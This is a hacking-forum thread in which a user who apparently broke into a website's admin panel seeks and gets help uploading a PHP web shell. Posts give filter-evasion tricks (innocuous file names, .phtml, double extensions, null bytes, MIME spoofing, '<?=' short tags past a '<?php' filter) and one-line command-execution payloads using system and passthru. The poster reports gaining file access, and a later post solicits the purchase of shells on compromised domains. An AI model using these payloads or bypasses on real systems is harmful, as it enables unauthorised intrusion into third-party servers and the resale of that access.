

Forum:[Hack Forums](#)

Thread: [Getting forbidden error while trying to upload shell](#)

TramBoarder - January 15, 2022, 9:42 am

I got through this admin login and I see lots of places to upload images. I tried to upload three different shells, one of which is only 10 kb, but I keep getting "Forbidden" error. I uploaded a regular image and it worked, and then I renamed the shell to a jpg extension but I still get the forbidden error. Does anyone know how to bypass this? I'm assuming it's some security program on the site detecting it but the one shell doesn't even get detected by my own AV.

Beladonis - January 15, 2022, 9:56 am

(Jan 15, 2022 10:42 AM)TramBoarder Wrote: [\[CITE\]](#) I got through this admin login and I see lots of places to upload images. I tried to upload three different shells, one of which is only 10 kb, but I keep getting "Forbidden" error. I uploaded a regular image and it worked, and then I renamed the shell to a jpg extension but I still get the forbidden error. Does anyone know how to bypass this? I'm assuming it's some security program on the site detecting it but the one shell doesn't even get detected by my own AV.

Probably a WAF is preventing the script from executing.

Try simple shells like this one, with an extension like .phtml and a name like "ajax", "jquery", "index" or stuff like that to reduce suspicion, assuming the webserver is running PHP. =>

<https://github.com/danielmiessler/SecLists/blob/master/Web-Shells/PHP/obfuscated-phpshell.php>

Require basic linux commands knowledge to operate it (again assuming the server is running linux) and sending the commands through POST requests -- unless you modify the script to use GET requests

TramBoarder - January 15, 2022, 11:59 am

(Jan 15, 2022 10:56 AM)Beladonis Wrote: [\[CITE\]](#) Probably a WAF is preventing the script from executing.

Try simple shells like this one, with an extension like .phtml and a name like "ajax", "jquery", "index" or stuff like that to reduce suspicion, assuming the webserver is running PHP. =>

Require basic linux commands knowledge to operate it (again assuming the server is running linux) and sending the commands through POST requests -- unless you modify the script to use GET requests

Hey, thanks. I have some updates after working on it for a while. I figured out that they're filtering the term "<?php" in the uploads. Once I changed it to "<?" they were able to upload fine.

But I can only upload it with an image extension. It uploads as shell.php.jpg, shell.php%00.jpg, and shell.php;.jpg, but none of those get executed as php code, only as an image. It won't upload with a php extension. I tried modifying the headers to image/jpeg. I tried using the phtml, php5 and other extensions. I even tried a txt file just to see but they only accept images.

It seems my final option is to use edjpgcom or something to put php code in an image. I used "<?system(\$_GET['cmd']); ?>" as my comment, uploaded it as shellname.php.jpg but I can't get the commands to execute when I do /shellname.php.jpg?cmd=whoami. What am I missing? I think I'm pretty close but it still isn't working. ?

Beladonis - January 15, 2022, 12:37 pm

I can't help you more unfortunately, I hope you will figure this out

linkinpork - January 15, 2022, 2:27 pm

(Jan 15, 2022 12:59 PM)TramBoarder Wrote: [\[CITE\]](#) But I can only upload it with an image extension. It uploads as shell.php.jpg, shell.php%00.jpg, and shell.php;.jpg, but none of those get executed as php code, only as an image. It won't upload with a php extension. I tried modifying the headers to image/jpeg. I tried using the phtml, php5 and other extensions. I even tried a txt file just to see but they only accept images.

You might be able to get some ideas from this HF bug from last year: [RE: Shell upload for bug bounty](#)

Cheers!

TramBoarder - January 16, 2022, 8:17 am

(Jan 15, 2022 03:27 PM)linkinpork Wrote: [\[CITE\]](#) You might be able to get some ideas from this HF bug from last year:

Cheers!

Thanks, I read your thread and the other ones you linked to. I had already tried every method listed there with the exception of the .htaccess file, but I tried uploading a blank file named .htaccess and it doesn't upload because again, only jpg file extensions. But those guides did give me some insight as to what the problem was. The web server isn't configured to run image files as php files, so they're not executing. I tried it on my own server and it didn't work there either. How else would I be able to modify the .htaccess file besides uploading it?

By the way I also changed the php comment to `<? passthru($_GET['cmd']); __halt_compiler();` It still didn't work but I think that one is better for the future. I think I give up for now unless something else comes up, but thanks for the help.

linkinpork - January 17, 2022, 1:18 am

(Jan 16, 2022 09:17 AM)TramBoarder Wrote: [\[CITE\]](#) I think I give up for now unless something else comes up, but thanks for the help.

I have a feeling you couldn't achieve shell because the target doesn't have a hypertext processor at all. The target needs to run the webserver alongside PHP, or is PHP (in the case of php artisan serve) or uses a web stack like XAMPP.

Would be a nice repository of memes though :D

Cheers!

TramBoarder - January 17, 2022, 2:05 pm

(Jan 17, 2022 02:18 AM)linkinpork Wrote: [\[CITE\]](#) I have a feeling you couldn't achieve shell because the target doesn't have a hypertext processor at all. The target needs to run the webserver alongside PHP, or is PHP (in the case of php artisan serve) or uses a web stack like XAMPP.

Would be a nice repository of memes though :D

Cheers!

Well in support of your theory, I actually found a different page today where it didn't check for the jpg extension. I still had to use the "<?" tag in the script but I was able to upload shell.php. However the script isn't executing properly. It just parses the html and then it prints all the php out as text and

nothing works. I tried uploading a .htaccess file to make it process php but unfortunately all the upload names get renamed to [ranmdomnumbers][originalfilename]. I figured I should provide that update in case anyone is in a similar situation even though it never ended up working lol.

EDIT: Okay, this is my last update because I figured it out. The problem was that the "<?" starting tags weren't working on this server, nothing was being processed but again since <?php is banned I found an alternate version of "<?= "text":" which is an echo shortcut. It doesn't seem to work throughout larger shells but with a minimalist shell it does work and I got access to the files and so on. Thanks for the help everyone, and hopefully someone can use this in the future.

sherxan-g - April 24, 2022, 2:24 pm

JPG Shell Upload

[Video: <https://youtu.be/ETJmYJp5RPw>]

CodeXQT - August 7, 2022, 5:27 pm

(Jan 17, 2022 03:05 PM)TramBoarder Wrote: [\[CITE\]](#) Well in support of your theory, I actually found a different page today where it didn't check for the jpg extension. I still had to use the "<?" tag in the script but I was able to upload shell.php. However the script isn't executing properly. It just parses the html and then it prints all the php out as text and nothing works. I tried uploading a .htaccess file to make it process php but unfortunately all the upload names get renamed to [ranmdomnumbers][originalfilename]. I figured I should provide that update in case anyone is in a similar situation even though it never ended up working lol.

EDIT: Okay, this is my last update because I figured it out. The problem was that the "<?" starting tags weren't working on this server, nothing was being processed but again since <?php is banned I found an alternate version of "<?= "text":" which is an echo shortcut. It doesn't seem to work throughout larger shells but with a minimalist shell it does work and I got access to the files and so on. Thanks for the help everyone, and hopefully someone can use this in the future.

Hey, we have almost the same problem.

Maybe we could help each other?

webshell buyer - April 24, 2023, 11:31 pm

#wtb fresh shell

Need different IP

Can upload and edit

No need subdomain

My process:send domain list > chose > send shell >

check shell > work > pay PM

If you have, please dm

TG [deleted]